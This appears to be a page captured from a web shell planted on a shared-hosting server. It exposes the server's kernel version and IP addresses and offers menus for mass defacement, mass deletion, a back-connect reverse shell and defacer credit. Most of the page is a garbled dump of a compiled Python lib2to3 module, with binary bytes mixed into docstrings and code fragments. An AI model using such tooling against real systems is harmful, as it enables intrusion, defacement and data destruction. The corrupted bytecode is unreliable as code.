Linux premium216.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
66.29.141.148 | Your IP: 18.119.133.206
Cant read [ /etc/named.conf ]
[
drwxr-xr-x
]
/
opt
/
alt
/
python34
/
lib64
/
python3.4
/
lib2to3
/
pgen2
/
__pycache__
/
Submit
Home
Upload
Mass Deface
Mass Delete
Back Connect
Notify
File Uploader
Upload
File Name
File Content
Create
Folder Name
Create
Directory
File Name
File Content
Submit
Directory
File Name
Submit
Ip
Port
Submit
Nickname
Team
Website
Submit
conv.cpython-34.pyc
� j f�% � @ sE d Z d d l Z d d l m Z m Z Gd d � d e j � Z d S)a� Convert graminit.[ch] spit out by pgen to Python code. Pgen is the Python parser generator. It is useful to quickly create a parser from a grammar file in Python's grammar notation. But I don't want my parsers to be written in C (yet), so I'm translating the parsing tables to Python data structures and writing a Python parse engine. Note that the token numbers are constants determined by the standard Python tokenizer. The standard token module defines these numbers and their names (the names are not used much). The token numbers are hardcoded into the Python tokenizer and into pgen. A Python implementation of the Python tokenizer is also available, in the standard tokenize module. On the other hand, symbol numbers (representing the grammar's non-terminals) are assigned by pgen based on the actual grammar input. Note: this module is pretty much obsolete; the pgen module generates equivalent grammar tables directly from the Grammar.txt input file without having to invoke the Python pgen C program. � N)�grammar�tokenc @ sF e Z d Z d Z d d � Z d d � Z d d � Z d d � Z d S)� Convertera2 Grammar subclass that reads classic pgen output files. The run() method reads the tables as produced by the pgen parser generator, typically contained in two C files, graminit.h and graminit.c. The other methods are for internal use only. See the base class for more documentation. c C s( | j | � | j | � | j � d S)z<Load the grammar tables from the text files written by pgen.N)�parse_graminit_h�parse_graminit_c� finish_off)�selfZ graminit_hZ graminit_c� r �7/opt/alt/python34/lib64/python3.4/lib2to3/pgen2/conv.py�run/ s z Converter.runc C s. y t | � } Wn= t k rO } z t d | | f � d SWYd d } ~ Xn Xi | _ i | _ d } x� | D]� } | d 7} t j d | � } | r� | j � r� t d | | | j � f � qo | j � \ } } t | � } | | j k s� t � | | j k st � | | j | <| | j | <qo Wd S) z�Parse the .h file written by pgen. (Internal) This file is a sequence of #define statements defining the nonterminals of the grammar as numbers. We build two tables mapping the numbers to names and back. zCan't open %s: %sFNr � z^#define\s+(\w+)\s+(\d+)$z%s(%s): can't parse %sT)�open�OSError�print� symbol2number� number2symbol�re�match�strip�groups�int�AssertionError) r �filename�f�err�lineno�line�mo�symbol�numberr r r r 5 s* zConverter.parse_graminit_hc ! C s� y t | � } Wn= t k rO } z t d | | f � d SWYd d } ~ Xn Xd } | d t | � } } | d k s� t | | f � � | d t | � } } | d k s� t | | f � � | d t | � } } i } g } x�| j d � r�xO| j d � rFt j d | � } | s1t | | f � � t t t | j � � � \ } } } g } x� t | � D]{ } | d t | � } } t j d | � } | s�t | | f � � t t t | j � � � \ } } | j | | f � qhW| d t | � } } | d k st | | f � � | | | | f <| d t | � } } q� Wt j d | � } | sqt | | f � � t t t | j � � � \ } } | t | � k s�t | | f � � g } x� t | � D]� } | d t | � } } t j d | � } | st | | f � � t t t | j � � � \ } } } | | | f } | t | � k sht | | f � � | j | � q�W| j | � | d t | � } } | d k s�t | | f � � | d t | � } } q� W| | _ i } t j d | � } | st | | f � � t | j d � � } x�t | � D]�} | d t | � } } t j d | � } | sxt | | f � � | j d � } t t t | j d d d d � � � \ } } } } | j | | k s�t | | f � � | j | | k st | | f � � | d k s"t | | f � � | | } | t | � k sPt | | f � � | d t | � } } t j d | � } | s�t | | f � � i } t | j d � � } x` t | � D]R \ } } t | � } x7 t d � D]) } | d | >@r�d | | d | <q�q�Wq�W| | f | | <q1W| d t | � } } | d k sXt | | f � � | | _ g } | d t | � } } t j d | � } | s�t | | f � � t | j d � � } x� t | � D]� } | d t | � } } t j d | � } | st | | f � � | j � \ } } t | � } | d k rDd } n t | � } | j | | f � q�W| d t | � } } | d k s�t | | f � � | | _ | d t | � } } | d k s�t | | f � � | d t | � } } t j d | � } | st | | f � � t | j d � � } | t | j � k sKt � | d t | � } } | d k s�t | | f � � | d t | � } } t j d | � } | s�t | | f � � t | j d � � } | t | j � k s�t | | f � � | d t | � } } t j d | � } | s> t | | f � � t | j d � � } | | j k st t | | f � � | | _ | d t | � } } | d k s� t | | f � � y | d t | � } } Wn t k r� Yn Xd s� t | | f � � d S)a� Parse the .c file written by pgen. (Internal) The file looks as follows. The first two lines are always this: #include "pgenheaders.h" #include "grammar.h" After that come four blocks: 1) one or more state definitions 2) a table defining dfas 3) a table defining labels 4) a struct defining the grammar A state definition has the following form: - one or more arc arrays, each of the form: static arc arcs_<n>_<m>[<k>] = { {<i>, <j>}, ... }; - followed by a state array, of the form: static state states_<s>[<t>] = { {<k>, arcs_<n>_<m>}, ... }; zCan't open %s: %sFNr r z#include "pgenheaders.h" z#include "grammar.h" zstatic arc z)static arc arcs_(\d+)_(\d+)\[(\d+)\] = {$z\s+{(\d+), (\d+)},$z}; z'static state states_(\d+)\[(\d+)\] = {$z\s+{(\d+), arcs_(\d+)_(\d+)},$zstatic dfa dfas\[(\d+)\] = {$z0\s+{(\d+), "(\w+)", (\d+), (\d+), states_(\d+),$� � � � z\s+("(?:\\\d\d\d)*")},$� z!static label labels\[(\d+)\] = {$z\s+{(\d+), (0|"\w+")},$�0zgrammar _PyParser_Grammar = { z \s+(\d+),$z dfas, z\s+{(\d+), labels},$z \s+(\d+)$)r r r �nextr � startswithr r �list�mapr r �range�append�len�states�groupr r �eval� enumerate�ord�dfas�labels�start� StopIteration)!r r r r r r Zallarcsr- r �n�m�kZarcs�_�i�j�s�t�stater2 Zndfasr r �x�y�z�firstZ rawbitset�cZbyter3 Znlabelsr4 r r r r T s� $!!$$$ 3%% $ '! zConverter.parse_graminit_cc C s� i | _ i | _ xj t | j � D]Y \ } \ } } | t j k r_ | d k r_ | | j | <q"